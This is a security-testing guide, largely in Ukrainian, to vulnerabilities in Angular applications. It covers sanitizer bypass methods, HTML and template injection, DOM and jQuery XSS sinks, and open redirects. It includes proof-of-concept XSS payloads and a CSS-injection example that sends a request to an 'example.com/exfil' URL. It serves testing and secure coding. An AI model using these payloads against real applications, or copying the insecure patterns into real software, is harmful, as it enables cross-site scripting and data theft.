Angular

Reading time: 17 minutes

The Checklist

Checklist from here.

  • Angular вважається фреймворком на стороні клієнта і не очікується, що він забезпечить захист на стороні сервера
  • Sourcemap для скриптів вимкнено в конфігурації проекту
  • Ненадійний ввід користувача завжди інтерполюється або очищається перед використанням у шаблонах
  • Користувач не має контролю над шаблонами на стороні сервера або клієнта
  • Ненадійний ввід користувача очищається з використанням відповідного контексту безпеки перед тим, як бути довіреним додатком
  • BypassSecurity* методи не використовуються з ненадійним ввідом
  • Ненадійний ввід користувача не передається в класи Angular, такі як ElementRef, Renderer2 та Document, або інші JQuery/DOM sinks

What is Angular

Angular є потужним і відкритим фреймворком для фронтенду, який підтримується Google. Він використовує TypeScript для покращення читабельності коду та налагодження. Завдяки сильним механізмам безпеки, Angular запобігає поширеним вразливостям на стороні клієнта, таким як XSS та відкриті перенаправлення. Його також можна використовувати на стороні сервера, що робить питання безпеки важливими з обох сторін.

Framework architecture

In order to better understand the Angular basics, let’s go through its essential concepts.

Common Angular project usually looks like:

bash
my-workspace/
├── ... #workspace-wide configuration files
├── src
│   ├── app
│   │   ├── app.module.ts #defines the root module, that tells Angular how to assemble the application
│   │   ├── app.component.ts #defines the logic for the application's root component
│   │   ├── app.component.html #defines the HTML template associated with the root component
│   │   ├── app.component.css #defines the base CSS stylesheet for the root component
│   │   ├── app.component.spec.ts #defines a unit test for the root component
│   │   └── app-routing.module.ts #provides routing capability for the application
│   ├── lib
│   │   └── src #library-specific configuration files
│   ├── index.html #main HTML page, where the component will be rendered in
│   └── ... #application-specific configuration files
├── angular.json #provides workspace-wide and project-specific configuration defaults
└── tsconfig.json #provides the base TypeScript configuration for projects in the workspace

Згідно з документацією, кожен Angular-додаток має принаймні один компонент, кореневий компонент (AppComponent), який з'єднує ієрархію компонентів з DOM. Кожен компонент визначає клас, який містить дані та логіку додатка, і асоційований з HTML-шаблоном, який визначає вигляд, що має бути відображений у цільовому середовищі. Декоратор @Component() ідентифікує клас безпосередньо під ним як компонент і надає шаблон та відповідну специфічну метадані компонента. AppComponent визначено у файлі app.component.ts.

Angular NgModules оголошують контекст компіляції для набору компонентів, який присвячений домену додатка, робочому процесу або тісно пов'язаному набору можливостей. Кожен Angular-додаток має кореневий модуль, звичайно названий AppModule, який надає механізм завантаження, що запускає додаток. Додаток зазвичай містить багато функціональних модулів. AppModule визначено у файлі app.module.ts.

NgModule Angular Router надає сервіс, який дозволяє визначити навігаційний шлях серед різних станів додатка та ієрархій виглядів у вашому додатку. RouterModule визначено у файлі app-routing.module.ts.

Для даних або логіки, які не пов'язані з конкретним виглядом і які ви хочете поділитися між компонентами, ви створюєте клас сервісу. Визначення класу сервісу безпосередньо передує декоратору @Injectable(). Декоратор надає метадані, які дозволяють іншим провайдерам бути впровадженими як залежності у ваш клас. Впровадження залежностей (DI) дозволяє зберігати ваші класи компонентів стрункими та ефективними. Вони не отримують дані з сервера, не перевіряють введення користувача і не ведуть безпосередній лог до консолі; вони делегують такі завдання сервісам.

Налаштування sourcemap

Фреймворк Angular перекладає файли TypeScript у JavaScript-код, дотримуючись параметрів tsconfig.json, а потім будує проект з конфігурацією angular.json. Розглядаючи файл angular.json, ми спостерігали опцію для увімкнення або вимкнення sourcemap. Згідно з документацією Angular, за замовчуванням конфігурація має файл sourcemap, увімкнений для скриптів, і за замовчуванням не прихований:

json
"sourceMap": {
"scripts": true,
"styles": true,
"vendor": false,
"hidden": false
}

Загалом, файли sourcemap використовуються для налагодження, оскільки вони відображають згенеровані файли на їх оригінальні файли. Тому не рекомендується використовувати їх у виробничому середовищі. Якщо sourcemaps увімкнено, це покращує читабельність і допомагає в аналізі файлів, відтворюючи оригінальний стан проекту Angular. Однак, якщо вони вимкнені, рецензент все ще може вручну проаналізувати скомпільований JavaScript файл, шукаючи антибезпекові шаблони.

Більш того, скомпільований JavaScript файл з проектом Angular можна знайти в інструментах розробника браузера → Sources (або Debugger і Sources) → [id].main.js. Залежно від увімкнених опцій, цей файл може містити наступний рядок в кінці //# sourceMappingURL=[id].main.js.map або може не містити, якщо опція hidden встановлена на true. Проте, якщо sourcemap вимкнено для scripts, тестування стає більш складним, і ми не можемо отримати файл. Крім того, sourcemap може бути увімкнено під час збірки проекту, наприклад, ng build --source-map.

Прив'язка даних

Прив'язка відноситься до процесу комунікації між компонентом і відповідним виглядом. Вона використовується для передачі даних до та з фреймворку Angular. Дані можуть передаватися різними способами, такими як через події, інтерполяцію, властивості або через механізм двосторонньої прив'язки. Більш того, дані також можуть бути спільними між пов'язаними компонентами (відношення батька і дитини) та між двома непов'язаними компонентами за допомогою функції Service.

Ми можемо класифікувати прив'язку за потоком даних:

  • Джерело даних до цільового вигляду (включає інтерполяцію, властивості, атрибути, класи та стилі); може бути застосовано за допомогою [] або {{}} у шаблоні;
  • Цільовий вигляд до джерела даних (включає події); може бути застосовано за допомогою () у шаблоні;
  • Двостороння; може бути застосовано за допомогою [()] у шаблоні.

Прив'язка може бути викликана на властивостях, подіях і атрибутах, а також на будь-якому публічному члені директиви джерела:

TYPETARGETEXAMPLES
PropertyВластивість елемента, Властивість компонента, Властивість директиви<img [alt]="hero.name" [src]="heroImageUrl">
EventПодія елемента, Подія компонента, Подія директиви<button type="button" (click)="onSave()">Save
Two-wayПодія та властивість<input [(ngModel)]="name">
AttributeАтрибут (виняток)<button type="button" [attr.aria-label]="help">help
ClassВластивість класу<div [class.special]="isSpecial">Special
StyleВластивість стилю<button type="button" [style.color]="isSpecial ? 'red' : 'green'">

Модель безпеки Angular

Дизайн Angular включає кодування або санітизацію всіх даних за замовчуванням, що ускладнює виявлення та експлуатацію вразливостей XSS у проектах Angular. Існує два різних сценарії обробки даних:

  1. Інтерполяція або {{user_input}} - виконує контекстно-залежне кодування та інтерпретує введення користувача як текст;
jsx
//app.component.ts
test = "<script>alert(1)</script><h1>test</h1>";

//app.component.html
{{test}}

Результат: &lt;script&gt;alert(1)&lt;/script&gt;&lt;h1&gt;test&lt;/h1&gt; 2. Прив'язка до властивостей, атрибутів, класів і стилів або [attribute]="user_input" - виконує санітизацію на основі наданого контексту безпеки.

jsx
//app.component.ts
test = "<script>alert(1)</script><h1>test</h1>";

//app.component.html
<div [innerHtml]="test"></div>

Результат: <div><h1>test</h1></div>

Існує 6 типів SecurityContext :

  • None;
  • HTML використовується, коли інтерпретується значення як HTML;
  • STYLE використовується, коли прив'язується CSS до властивості style;
  • URL використовується для URL-властивостей, таких як <a href>;
  • SCRIPT використовується для JavaScript коду;
  • RESOURCE_URL як URL, який завантажується та виконується як код, наприклад, у <script src>.

Вразливості

Обхід методів безпеки

Angular вводить список методів для обходу свого стандартного процесу санітизації та для вказівки, що значення може бути використане безпечно в конкретному контексті, як у наступних п'яти прикладах:

  1. bypassSecurityTrustUrl використовується для вказівки, що дане значення є безпечним стилем URL:
jsx
//app.component.ts
this.trustedUrl = this.sanitizer.bypassSecurityTrustUrl('javascript:alert()');

//app.component.html
<a class="e2e-trusted-url" [href]="trustedUrl">Click me</a>

//result
<a _ngcontent-pqg-c12="" class="e2e-trusted-url" href="javascript:alert()">Click me</a>
  1. bypassSecurityTrustResourceUrl використовується для вказівки, що дане значення є безпечним ресурсом URL:
jsx
//app.component.ts
this.trustedResourceUrl = this.sanitizer.bypassSecurityTrustResourceUrl("https://www.google.com/images/branding/googlelogo/1x/googlelogo_light_color_272x92dp.png");

//app.component.html
<iframe [src]="trustedResourceUrl"></iframe>

//result
<img _ngcontent-nre-c12="" src="https://www.google.com/images/branding/googlelogo/1x/googlelogo_light_color_272x92dp.png">
  1. bypassSecurityTrustHtml використовується для вказівки, що дане значення є безпечним HTML. Зверніть увагу, що вставка елементів script у дерево DOM таким чином не призведе до виконання вкладеного JavaScript коду, через те, як ці елементи додаються до дерева DOM.
jsx
//app.component.ts
this.trustedHtml = this.sanitizer.bypassSecurityTrustHtml("<h1>html tag</h1><svg onclick=\"alert('bypassSecurityTrustHtml')\" style=display:block>blah</svg>");

//app.component.html
<p style="border:solid" [innerHtml]="trustedHtml"></p>

//result
<h1>html tag</h1>
<svg onclick="alert('bypassSecurityTrustHtml')" style="display:block">blah</svg>
  1. bypassSecurityTrustScript використовується для вказівки, що дане значення є безпечним JavaScript. Однак, ми виявили, що його поведінка є непередбачуваною, оскільки ми не змогли виконати JS код у шаблонах, використовуючи цей метод.
jsx
//app.component.ts
this.trustedScript = this.sanitizer.bypassSecurityTrustScript("alert('bypass Security TrustScript')");

//app.component.html
<script [innerHtml]="trustedScript"></script>

//result
-
  1. bypassSecurityTrustStyle використовується для вказівки, що дане значення є безпечним CSS. Наступний приклад ілюструє ін'єкцію CSS:
jsx
//app.component.ts
this.trustedStyle = this.sanitizer.bypassSecurityTrustStyle('background-image: url(https://example.com/exfil/a)');

//app.component.html
<input type="password" name="pwd" value="01234" [style]="trustedStyle">

//result
Request URL: GET example.com/exfil/a

Angular надає метод sanitize для санітизації даних перед їх відображенням у виглядах. Цей метод використовує наданий контекст безпеки та очищає введення відповідно. Однак, важливо використовувати правильний контекст безпеки для конкретних даних і контексту. Наприклад, застосування санітайзера з SecurityContext.URL до HTML контенту не забезпечує захисту від небезпечних HTML значень. У таких сценаріях неправильне використання контексту безпеки може призвести до вразливостей XSS.

Ін'єкція HTML

Ця вразливість виникає, коли введення користувача прив'язується до будь-якої з трьох властивостей: innerHTML, outerHTML або iframe srcdoc. Хоча прив'язка до цих атрибутів інтерпретує HTML як є, введення очищається за допомогою SecurityContext.HTML. Таким чином, ін'єкція HTML можлива, але міжсайтове скриптування (XSS) не є.

Приклад використання innerHTML:

jsx
//app.component.ts
import { Component} from '@angular/core';

@Component({
selector: 'app-root',
templateUrl: './app.component.html'
})
export class AppComponent{
//define a variable with user input
test = "<script>alert(1)</script><h1>test</h1>";
}

//app.component.html
<div [innerHTML]="test"></div>

Ін'єкція шаблонів

Візуалізація на стороні клієнта (CSR)

Angular використовує шаблони для динамічного створення сторінок. Цей підхід передбачає обгортання виразів шаблону для оцінки Angular в подвійні фігурні дужки ({{}}). Таким чином, фреймворк пропонує додаткову функціональність. Наприклад, шаблон {{1+1}} відобразиться як 2.

Зазвичай Angular екранує введення користувача, яке може бути сплутане з виразами шаблону (наприклад, символи такі як `< > ' " ``). Це означає, що для обходу цього обмеження потрібні додаткові кроки, такі як використання функцій, які генерують об'єкти рядків JavaScript, щоб уникнути використання заборонених символів. Однак, щоб досягти цього, ми повинні враховувати контекст Angular, його властивості та змінні. Тому атака ін'єкції шаблону може виглядати наступним чином:

jsx
//app.component.ts
const _userInput = '{{constructor.constructor(\'alert(1)\'()}}'
@Component({
selector: 'app-root',
template: '<h1>title</h1>' + _userInput
})

Як показано вище: constructor посилається на область видимості властивості Object constructor, що дозволяє нам викликати конструктор String і виконувати довільний код.

Серверне рендеринг (SSR)

На відміну від CSR, яке відбувається в DOM браузера, Angular Universal відповідає за SSR шаблонних файлів. Ці файли потім доставляються користувачу. Незважаючи на це відмінність, Angular Universal застосовує ті ж механізми санітизації, що використовуються в CSR, для підвищення безпеки SSR. Вразливість ін'єкції шаблону в SSR можна виявити так само, як і в CSR, оскільки використовувана мова шаблонів є такою ж.

Звичайно, також існує можливість введення нових вразливостей ін'єкції шаблону при використанні сторонніх шаблонних движків, таких як Pug і Handlebars.

XSS

Інтерфейси DOM

Як вже зазначалося, ми можемо безпосередньо отримати доступ до DOM, використовуючи інтерфейс Document. Якщо введення користувача не перевіряється заздалегідь, це може призвести до вразливостей міжсайтового скриптингу (XSS).

Ми використовували методи document.write() і document.createElement() в наведених нижче прикладах:

jsx
//app.component.ts 1
import { Component} from '@angular/core';

@Component({
selector: 'app-root',
template: ''
})
export class AppComponent{
constructor () {
document.open();
document.write("<script>alert(document.domain)</script>");
document.close();
}
}

//app.component.ts 2
import { Component} from '@angular/core';

@Component({
selector: 'app-root',
template: ''
})
export class AppComponent{
constructor () {
var d = document.createElement('script');
var y = document.createTextNode("alert(1)");
d.appendChild(y);
document.body.appendChild(d);
}
}

//app.component.ts 3
import { Component} from '@angular/core';

@Component({
selector: 'app-root',
template: ''
})
export class AppComponent{
constructor () {
var a = document.createElement('img');
a.src='1';
a.setAttribute('onerror','alert(1)');
document.body.appendChild(a);
}
}

Angular класи

Є кілька класів, які можна використовувати для роботи з елементами DOM в Angular: ElementRef, Renderer2, Location та Document. Детальний опис останніх двох класів наведено в розділі Open redirects. Основна різниця між першими двома полягає в тому, що API Renderer2 забезпечує рівень абстракції між елементом DOM та кодом компонента, тоді як ElementRef просто містить посилання на елемент. Тому, згідно з документацією Angular, API ElementRef слід використовувати лише в крайньому випадку, коли потрібен прямий доступ до DOM.

  • ElementRef містить властивість nativeElement, яка може бути використана для маніпуляції елементами DOM. Однак неправильне використання nativeElement може призвести до вразливості XSS, як показано нижче:
tsx
//app.component.ts
import { Component, ElementRef, ViewChild, AfterViewInit } from '@angular/core';

@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent {
...
constructor(private elementRef: ElementRef) {
const s = document.createElement('script');
s.type = 'text/javascript';
s.textContent = 'alert("Hello World")';
this.elementRef.nativeElement.appendChild(s);
}
}
  • Незважаючи на те, що Renderer2 надає API, який можна безпечно використовувати навіть коли прямий доступ до рідних елементів не підтримується, він все ще має деякі недоліки в безпеці. З Renderer2 можна встановлювати атрибути на HTML-елемент за допомогою методу setAttribute(), який не має механізмів запобігання XSS.
tsx
//app.component.ts
import {Component, Renderer2, ElementRef, ViewChild, AfterViewInit } from '@angular/core';

@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent {

public constructor (
private renderer2: Renderer2
){}
@ViewChild("img") img!: ElementRef;

addAttribute(){
this.renderer2.setAttribute(this.img.nativeElement, 'src', '1');
this.renderer2.setAttribute(this.img.nativeElement, 'onerror', 'alert(1)');
}
}

//app.component.html
<img #img>
<button (click)="setAttribute()">Click me!</button>
  • Щоб встановити властивість елемента DOM, ви можете використовувати метод Renderer2.setProperty() і спровокувати атаку XSS:
tsx
//app.component.ts
import {Component, Renderer2, ElementRef, ViewChild, AfterViewInit } from '@angular/core';

@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent {

public constructor (
private renderer2: Renderer2
){}
@ViewChild("img") img!: ElementRef;

setProperty(){
this.renderer2.setProperty(this.img.nativeElement, 'innerHTML', '<img src=1 onerror=alert(1)>');
}
}

//app.component.html
<a #a></a>
<button (click)="setProperty()">Click me!</button>

Під час нашого дослідження ми також вивчили поведінку інших методів Renderer2, таких як setStyle(), createComment() та setValue(), у відношенні до XSS та CSS-ін'єкцій. Однак ми не змогли знайти жодних дійсних векторів атак для цих методів через їх функціональні обмеження.

jQuery

jQuery - це швидка, мала та багатофункціональна бібліотека JavaScript, яку можна використовувати в проекті Angular для допомоги в маніпуляції HTML DOM об'єктами. Однак, як відомо, методи цієї бібліотеки можуть бути використані для досягнення вразливості XSS. Щоб обговорити, як деякі вразливі методи jQuery можуть бути використані в проектах Angular, ми додали цей підрозділ.

  • Метод html() отримує HTML вміст першого елемента в наборі відповідних елементів або встановлює HTML вміст кожного відповідного елемента. Однак за дизайном будь-який конструктор або метод jQuery, який приймає HTML рядок, може потенційно виконувати код. Це може статися через ін'єкцію <script> тегів або використання HTML атрибутів, які виконують код, як показано в прикладі.
tsx
//app.component.ts
import { Component, OnInit } from '@angular/core';
import * as $ from 'jquery';

@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent implements OnInit
{
ngOnInit()
{
$("button").on("click", function()
{
$("p").html("<script>alert(1)</script>");
});
}
}

//app.component.html
<button>Click me</button>
<p>some text here</p>
  • Метод jQuery.parseHTML() використовує рідні методи для перетворення рядка в набір DOM вузлів, які потім можуть бути вставлені в документ.
tsx
jQuery.parseHTML(data [, context ] [, keepScripts ])

Як вже згадувалося, більшість API jQuery, які приймають HTML рядки, виконуватимуть скрипти, які включені в HTML. Метод jQuery.parseHTML() не виконує скрипти в проаналізованому HTML, якщо keepScripts явно не встановлено в true. Однак у більшості середовищ все ще можливо виконати скрипти непрямо; наприклад, через атрибут <img onerror>.

tsx
//app.component.ts
import { Component, OnInit } from '@angular/core';
import * as $ from 'jquery';

@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent implements OnInit
{
ngOnInit()
{
$("button").on("click", function()
{
var $palias = $("#palias"),
str = "<img src=1 onerror=alert(1)>",
html = $.parseHTML(str),
nodeNames = [];
$palias.append(html);
});
}
}

//app.component.html
<button>Click me</button>
<p id="palias">some text</p>

Open redirects

DOM інтерфейси

Згідно з документацією W3C, об'єкти window.location та document.location розглядаються як псевдоніми в сучасних браузерах. Саме тому вони мають подібну реалізацію деяких методів і властивостей, що може призвести до відкритого перенаправлення та DOM XSS з атаками за схемою javascript://, як зазначено нижче.

  • window.location.hrefdocument.location.href)

Канонічний спосіб отримати поточний об'єкт місцезнаходження DOM - це використання window.location. Його також можна використовувати для перенаправлення браузера на нову сторінку. В результаті контроль над цим об'єктом дозволяє нам експлуатувати вразливість відкритого перенаправлення.

tsx
//app.component.ts
...
export class AppComponent {
goToUrl(): void {
window.location.href = "https://google.com/about"
}
}

//app.component.html
<button type="button" (click)="goToUrl()">Click me!</button>

Процес експлуатації ідентичний для наступних сценаріїв.

  • window.location.assign()document.location.assign())

Цей метод змушує вікно завантажувати та відображати документ за вказаною URL-адресою. Якщо ми контролюємо цей метод, це може бути джерелом атаки відкритого перенаправлення.

tsx
//app.component.ts
...
export class AppComponent {
goToUrl(): void {
window.location.assign("https://google.com/about")
}
}
  • window.location.replace()document.location.replace())

Цей метод замінює поточний ресурс на той, що за вказаною URL-адресою.

Це відрізняється від методу assign(), оскільки після використання window.location.replace() поточна сторінка не буде збережена в історії сеансу. Однак також можливо експлуатувати вразливість відкритого перенаправлення, коли ми контролюємо цей метод.

tsx
//app.component.ts
...
export class AppComponent {
goToUrl(): void {
window.location.replace("http://google.com/about")
}
}
  • window.open()

Метод window.open() приймає URL-адресу та завантажує ресурс, який він ідентифікує, у новій або існуючій вкладці чи вікні. Контроль над цим методом також може бути можливістю спровокувати вразливість XSS або відкритого перенаправлення.

tsx
//app.component.ts
...
export class AppComponent {
goToUrl(): void {
window.open("https://google.com/about", "_blank")
}
}

Angular класи

  • Згідно з документацією Angular, Angular Document є тим же, що й документ DOM, що означає, що можна використовувати загальні вектори для документа DOM для експлуатації вразливостей на стороні клієнта в Angular. Властивості та методи Document.location можуть бути джерелами успішних атак відкритого перенаправлення, як показано в прикладі:
tsx
//app.component.ts
import { Component, Inject } from '@angular/core';
import { DOCUMENT } from '@angular/common';

@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent {
constructor(@Inject(DOCUMENT) private document: Document) { }

goToUrl(): void {
this.document.location.href = 'https://google.com/about';
}
}

//app.component.html
<button type="button" (click)="goToUrl()">Click me!</button>
  • Під час дослідження ми також переглянули клас Angular Location на предмет вразливостей відкритого перенаправлення, але жодних дійсних векторів не було знайдено. Location - це сервіс Angular, який програми можуть використовувати для взаємодії з поточною URL-адресою браузера. Цей сервіс має кілька методів для маніпуляції заданою URL-адресою - go(), replaceState() та prepareExternalUrl(). Однак ми не можемо використовувати їх для перенаправлення на зовнішній домен. Наприклад:
tsx
//app.component.ts
import { Component, Inject } from '@angular/core';
import {Location, LocationStrategy, PathLocationStrategy} from '@angular/common';

@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css'],
providers: [Location, {provide: LocationStrategy, useClass: PathLocationStrategy}],
})
export class AppComponent {
location: Location;
constructor(location: Location) {
this.location = location;
}
goToUrl(): void {
console.log(this.location.go("http://google.com/about"));
}
}

Результат: http://localhost:4200/http://google.com/about

  • Клас Angular Router в основному використовується для навігації в межах одного домену і не вводить жодних додаткових вразливостей у додаток:
jsx
//app-routing.module.ts
const routes: Routes = [
{ path: '', redirectTo: 'https://google.com', pathMatch: 'full' }]

Результат: http://localhost:4200/https:

Наступні методи також навігують в межах домену:

jsx
const routes: Routes = [ { path: '', redirectTo: 'ROUTE', pathMatch: 'prefix' } ]
this.router.navigate(['PATH'])
this.router.navigateByUrl('URL')

Посилання